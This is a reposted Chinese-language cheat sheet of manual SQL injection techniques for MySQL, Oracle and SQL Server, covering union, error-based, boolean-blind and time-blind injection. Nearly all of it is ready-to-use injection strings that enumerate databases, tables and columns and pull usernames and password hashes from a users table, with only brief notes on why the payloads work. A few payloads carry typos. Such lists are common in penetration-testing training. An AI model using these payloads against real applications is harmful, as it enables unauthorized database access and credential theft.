SQL手工注入方法


https://mp.weixin.qq.com/s/RLdBCOUkcLpRoniacOP-Kw

1、Mysql 手工注入

聯合注入

?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

#group_concat(column_name) 可替換為 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+

#group_concat 可替換為 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

報錯注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

updatexml() 報錯的原理:由於 updatexml 的第二個參數需要 Xpath 格式的字符串,以 ~ 開頭的內容不是 xml

格式的語法,concat() 函數為字符串連接函數顯然不符合規則,但是會將括號內的執行結果以錯誤的形式報出,這樣就可以實現報錯注入了。

爆庫:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +

爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆數據:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

這里需要注意的是它加了連接字符,導致數據中的 md5 只能爆出 31 位,這里可以用分割函數分割出來:

substr(string string,num start,num length);

#string為字符串,start為起始位置,length為長度

?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

盲注

時間盲注

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

布爾盲注

?id=1' and substr((select user()),1,1)='r' -- +

?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

#如果 IFNULL 第一個參數的表達式為 NULL,則返回第二個參數的備用值,不為 Null 則輸出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +

#若所有的字符串均相同,STRCMP() 返回 0,若根據當前分類次序,第一個參數小於第二個,則返回 -1 ,其它情況返回 1

Oracle 手工注入

聯合注入

?id=-1' union select user,null from dual--

?id=-1' union select version,null from v$instance--

?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--

?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--

?id=-1' union select username,passwd from users--

?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

報錯注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

布爾盲注

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--

?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--

?id=1' and ascii(substr(user,1,1))> 64-- #二分法

時間盲注

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

SQL server 手工注入

聯合注入

?id=-1' union select null,null--

?id=-1' union select @@servername, @@version--

?id=-1' union select db_name(),suser_sname()--

?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--

?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--

?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--

?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---

?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

報錯注入

?id=1' and 1=(select 1/@@servername)--

?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

盲注

布爾盲注

?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--

時間盲注

?id= 1';if(2>1) waitfor delay '0:0:5'--

?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM